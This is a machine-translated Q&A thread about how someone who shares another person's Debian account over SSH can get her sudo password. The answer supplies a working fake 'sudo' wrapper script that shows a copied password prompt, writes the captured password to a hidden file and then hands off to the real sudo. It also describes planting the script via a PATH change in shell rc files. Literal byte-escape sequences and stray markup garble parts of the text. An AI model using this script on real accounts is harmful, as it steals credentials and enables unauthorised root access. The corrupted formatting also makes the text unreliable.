无需sudo密码即可获得sudo权限

vek*_*tor 5 security ssh sudo

上下文:Debian Linux。

Alice 在机器上有一个用户帐户。她是 sudoers 中的一员,拥有安全密码。她仅使用 SSH 密钥通过 SSH 访问机器(密码无效)。

由于一些管理错误,Bob 获得了对同一个帐户的访问权,而不是获得了一个单独的帐户:他的 SSH 密钥被添加到authorized_keys. Bob 没有从 Alice 那里得到密码。

Bob 如何成功执行 sudo?假使,假设:

  • 除了通过 SSH 访问 Alice 的帐户外,Bob 无法访问服务器。
  • Alice 将定期连接到她的帐户,执行 sudo 等。

我认为如果没有 Alice 的合作,这将无法完成。因此,我正在寻找某种网络钓鱼或社会工程攻击,例如用将首先记录密码的别名替换 sudo。

它基本上是一个传统的根升级问题,具有(不知道的)用户合作的额外好处。

Ste*_*itt 4

在过去,如果没有 Alice\xe2\x80\x99s 的帮助,这也是可行的,因为sudo\xe2\x80\x99s 令牌在终端会话中是有效的:Bob 可以只等待 Alice 进行身份验证sudo,然后使用sudo自己,而无需输入密码。

\n\n

即使使用每个终端令牌,在此处描述的场景中获取 Alice\xe2\x80\x99s 密码也相对容易,只要 Alice 不始终彻底检查她的环境:

\n\n
    \n
  • 使用 Alice\xe2\x80\x99s 帐户,~/.bin/sudo使用类似的内容创建

    \n\n
    #!/bin/sh\nif [ $# = 0 ]; then exec /usr/bin/sudo; fi\nif [ ! -f ~/.bin/alices-password ]; then\n  echo -n "[sudo] password for $USER: "\n  read -s password\n  echo\n  echo ${password} > ~/.bin/alices-password\n  sleep 2\n  echo "Sorry, try again."\n  /usr/bin/sudo -k\nfi\nexec /usr/bin/sudo "$@"\n
    Run Code Online (Sandbox Code Playgroud)
  • \n
  • 添加~/.bin到相应的 rc 文件中的路径,具体取决于 Alice 使用的 shell;

  • \n
  • 等待 Alice 在 shell 中使用,它已经注意到...sudo的存在~/.bin/sudo
  • \n
\n\n

Bob 可以等待密码出现~/.bin/alices-password并在禁用特殊变体之前亲自尝试(以不引人注目的方式执行此操作将作为读者的练习 \xe2\x80\x94 请记住 shell 会缓存路径...)。

\n\n

上面的脚本中有一些微妙之处,特别sudo -k是确保 \xe2\x80\x9cSorry, try again.\xe2\x80\x9d 实际上会要求sudo输入密码。该脚本可以进一步改进,\xe2\x80\x99 是读者的另一个练习!

\n\n

正如您可能想象的那样,这不是\xe2\x80\x99t 唯一的方法......

\n